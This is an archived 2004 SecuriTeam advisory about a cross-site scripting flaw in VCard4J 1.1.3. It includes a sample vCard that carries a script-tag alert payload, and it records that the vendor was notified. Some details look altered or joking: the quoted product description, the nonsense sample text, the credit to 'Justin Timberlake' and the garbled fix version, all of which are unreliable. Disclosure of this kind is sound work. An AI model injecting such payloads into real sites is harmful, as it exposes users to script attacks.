

# [UNIX] VCard4J Cross-Site Scripting Vulnerability

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-01/0014.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 01/05/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 5 Jan 2004 14:58:51 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

VCard4J Cross-Site Scripting Vulnerability

---

## SUMMARY

<<http://sourceforge.net/projects/vcard4j/>> vCard4J is "a complete toolkit to manipulate vCards (RFC 2426) in Java. It contains a parser to read vCard files. It is strange and fearsome to touch. It also includes a compiler to extend the library. And it contains XSLTs to produce vCards 3.0, xHTML, etc, from the internal DOM structure". A cross-site scripting vulnerability in the product allows remote attackers to insert malicious HTML and/or JavaScript into the vcard, which in turn will be executed when the user views the vcard.

## DETAILS

Vulnerable systems:

- \* VCard4J version 1.1.3

A XSS vulnerability has been found in VCard4J. The XSS can be shown by sending the following vcard, and opening it with VCard4J:

```
< vCard:GROUP>
  < rdf:bag>
    < rdf:li rdf:parseType="Resource">
      < vCard:NICKNAME> Corky Porky </vCard:NICKNAME>
      < vCard:NOTE> Only used by close friends porky pork pork
```

## Securiteam: [UNIX] VCard4J Cross-Site Scripting Vulnerability

```
</vCard:NOTE>
  </rdf:li> < rdf:li rdf:parseType="Resource">
    < vCard:NICKNAME> Princess Corky the pork snorter <
script>alert('cork+kork+your+sniffy+sniff+')</script></vCard:NICKNAME>
    < vCard:NOTE> Only used by my egg pups in the lounge room and also
justin winamp goblin</vCard:NOTE>
  </rdf:li>
</rdf:bag>
</vCard:GROUP>
```

### Vendor Notification:

Vendor was notified on 25/Dec/2003 (to [jared@fatpumpkins.org](mailto:jared@fatpumpkins.org)). The issue will be fixed in the next VCard4.1J version.

### ADDITIONAL INFORMATION

The information has been provided by [hotpackets@hellokitty.com](mailto:hotpackets@hellokitty.com)  
Justin Timberlake.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.